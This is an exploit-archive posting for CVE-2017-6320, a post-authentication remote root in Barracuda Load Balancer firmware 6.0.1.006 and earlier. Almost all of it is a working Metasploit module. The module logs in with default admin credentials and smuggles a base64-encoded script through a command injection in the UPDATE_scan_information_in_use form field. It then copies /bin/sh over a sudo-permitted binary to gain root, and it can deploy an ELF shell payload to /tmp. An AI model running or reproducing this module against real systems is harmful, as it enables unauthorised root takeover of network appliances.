Exploit the possiblities

Barracuda Load Balancer Firmware 6.0.1.006 Remote Root

Barracuda Load Balancer Firmware 6.0.1.006 Remote Root
Posted Jul 18, 2017
Authored by Russell Sanford

Barracuda Load Balancer Firmware versions 6.0.1.006 (2016-08-19) and below post-authentication remote root exploit.

tags | exploit, remote, root
advisories | CVE-2017-6320
MD5 | dd9661cd7ce5c9e5b97ed4caa71a55d1

Barracuda Load Balancer Firmware 6.0.1.006 Remote Root

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# Exploit Title: Barracuda Load Balancer Firmware <= v6.0.1.006 (2016-08-19) PostAuth remote root exploit
#
# Date: 01/06/2017 (Originally discovered: 3/16)
# Exploit Author: xort
# Software Link: https://www.barracuda.com/products/loadbalancer
# Version: Firmware <= v6.0.1.006 (2016-08-19)
# Tested on: 6.0.1.006 (2016-08-19)
# 6.0.0.005 (2016-03-22) - checked:4/8/16
# 5.4.0.004 (2015-11-26) - checked:3/16
#
# Not Vuln: 6.1.0.003 (2017-01-17)
# CVE : CVE-2017-6320
#
# vuln: ondefined_delete_assessment trigger exploit
#
# Postauth remote root in Barracuda Load Balancer Firmware <= v6.0.1.006 for any under priviledged user with report generating
# capablities. This exploit leverages a command injection bug along with poor sudo permissions to obtain
# root.
#
# xort @ Critical Start

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Barracuda Load Balancer Firmware <= v6.0.1.006 delete_assessment root exploit',
'Description' => %q{
This module exploits a remote command execution vulnerability in
the Barracuda Load Balancer Firmware Version <= v6.0.1.006 (2016-08-19) by exploiting a
vulnerability in the web administration interface.
By sending a specially crafted request it's possible to inject system
commands while escalating to root do to relaxed sudo configuration on the local
machine.
},
'Author' =>
[
'xort', # vuln + metasploit module
],
'Version' => '$Revision: 2 $',
'References' =>
[
[ 'none', 'none'],
],
'Platform' => [ 'linux'],
'Privileged' => true,
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell' ],
'Privileged' => false,

'Payload' =>
{
'Compat' =>
{
'ConnectionType' => 'find',
}
},

'Targets' =>
[
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0))

register_options(
[
OptString.new('PASSWORD', [ false, 'Device password', "" ]),
OptString.new('ET', [ false, 'Device password', "" ]),
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(8000),
], self.class)
end

def do_login(username, password_clear, et)
vprint_status( "Logging into machine with credentials...\n" )

# vars
timeout = 1550;
enc_key = Rex::Text.rand_text_hex(32)

# send request
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'headers' =>
{
'Accept' => "application/json, text/javascript, */*; q=0.01",
'Content-Type' => "application/x-www-form-urlencoded",
'X-Requested-With' => "XMLHttpRequest"
},
'vars_post' =>
{

'enc_key' => enc_key,
'et' => et,
'user' => "admin", # username,
'password' => "admin", # password_clear,
'enctype' => "none",
'password_entry' => "",
'login_page' => "1",
'login_state' => "out",
'real_user' => "",
'locale' => "en_US",
'form' => "f",
'Submit' => "Sign in",
}
}, timeout)

# get rid of first yank
password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]

return password, et
end

def run_command(username, password, et, cmd)
vprint_status( "Running Command...\n" )

# file to replace
#sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
sudo_cmd_exec = "/home/product/code/firmware/current/bin/rdpd"

sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "

# random filename to dump too + 'tmp' HAS to be here.
b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))

vprint_status(" file = " + b64dumpfile)

# decoder stubs - tells 'base64' command to decode and dump data to temp file
b64decode1 = "echo \""
b64decode2 = "\" | base64 -d >" + b64dumpfile

# base64 - encode with base64 so we can send special chars and multiple lines
cmd = Base64.strict_encode64(cmd)

# Create injection string.
# a) package the base64 decoder with encoded bytes
# b) attach a chmod +x request to make the script created (b64dumpfile) executable
# c) execute decoded base64 dumpfile

injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile # + " ; rm " + b64dumpfile

exploitreq = [
[ "auth_type","Local" ],
[ "et",et ],
[ "locale","en_US" ],
[ "password", password ],
[ "primary_tab", "ADVANCE" ],
[ "realm","" ],
[ "secondary_tab","advanced_system" ],
[ "user", username ],
[ "timestamp", Time.now.to_i ],

[ "UPDATE_scan_information_in_use", "xx; #{injection_string}" ], # vuln
[ "delete_assessment", Rex::Text.rand_text_numeric(20) ]
]

boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)

post_data = ""

exploitreq.each do |xreq|
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
post_data << "#{xreq[1]}\r\n"
end
post_data << "--#{boundary}--\r\n"

res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' =>
{
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
}
})
end

def run_script(username, password, et, cmds)
vprint_status( "running script...\n")


end

def exploit
# timeout
timeout = 1550;

user = "admin"

# params
real_user = "";
login_state = "out"
et = Time.now.to_i
locale = "en_US"
user = "admin"
password = "admin"
enctype = "MD5"
password_entry = ""
password_clear = "admin"

password_hash, et = do_login(user, password_clear, et)
vprint_status("new password: #{password_hash} et: #{et}\n")

sleep(5)


#if no 'CMD' string - add code for root shell
if not datastore['CMD'].nil? and not datastore['CMD'].empty?

cmd = datastore['CMD']

# Encode cmd payload
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
else
# Encode payload to ELF file for deployment
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

# kill stale calls to bdump from previous exploit calls for re-use
# run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))

run_command(user, password_hash, et, ("printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
handler
end


end

end

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